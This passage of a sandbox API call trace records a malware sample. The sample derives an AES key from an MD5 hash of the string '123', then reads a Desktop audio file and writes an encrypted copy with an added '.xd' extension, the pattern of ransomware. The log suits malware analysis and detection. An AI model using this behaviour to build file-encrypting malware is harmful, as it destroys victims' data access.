WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214f8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0078.013] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0078.013] CryptCreateHash (in: hProv=0x1631d48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0078.013] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.013] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.013] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.015] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.016] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0078.016] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.016] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.016] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.016] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.016] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0078.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621828, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0078.016] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0078.016] CryptHashData (hHash=0x164c2f0, pbData=0x1629340, dwDataLen=0x3, dwFlags=0x1) returned 1 [0078.017] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.017] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.017] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.017] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.017] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.017] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.017] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.017] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0078.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217f8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0078.017] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0078.017] CryptDeriveKey (in: hProv=0x1631d48, Algid=0x6610, hBaseData=0x164c2f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0078.017] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.017] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.017] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.017] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.018] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.018] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.018] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0078.018] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0078.018] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0078.018] CryptDestroyHash (hHash=0x164c2f0) returned 1 [0078.018] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.018] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.018] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.018] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.018] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.018] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u5kvckluvbvmp.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0078.019] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.019] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0078.019] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.019] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.019] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.019] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0078.020] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u5kvckluvbvmp.m4a.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0078.020] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.021] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.021] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.021] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.023] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0078.023] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xd73b, lpOverlapped=0x0) returned 1 [0078.025] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0078.028] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.028] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.028] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.028] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0078.028] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.028] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.028] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0078.028] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.028] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0078.028] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.028] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.029] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.029] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0078.029] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0078.038] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0078.038] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629470, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629470*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0078.039] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.039] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.039] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.039] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.039] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.039] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.039] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.039] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.039] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.039] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.039] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.039] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.039] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.039] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.039] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.039] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.039] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.039] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.039] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.039] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.039] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.040] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.040] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.040] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.040] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621780, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.040] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.040] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xd73b, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xd740) returned 1 [0078.041] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.041] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.041] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.041] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.041] CharLowerBuffW (in: lpsz="byte[55105]", cchLength=0xb | out: lpsz="byte[55105]") returned 0xb [0078.041] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.042] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.042] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.042] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.042] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.042] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.042] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18090f8*, pdwDataLen=0x130e618*=0xd73b, dwBufLen=0xd740 | out: pbData=0x18090f8*, pdwDataLen=0x130e618*=0xd740) returned 1 [0078.042] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.042] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.042] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.042] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.063] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.063] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.063] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.063] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.063] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.063] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.063] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.063] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.063] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.063] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.063] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.063] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.063] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.066] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.067] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.067] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.067] WriteFile (in: hFile=0x3d8, lpBuffer=0x17ee268*, nNumberOfBytesToWrite=0xd740, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ee268*, lpNumberOfBytesWritten=0x130f01c*=0xd740, lpOverlapped=0x0) returned 1 [0078.068] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 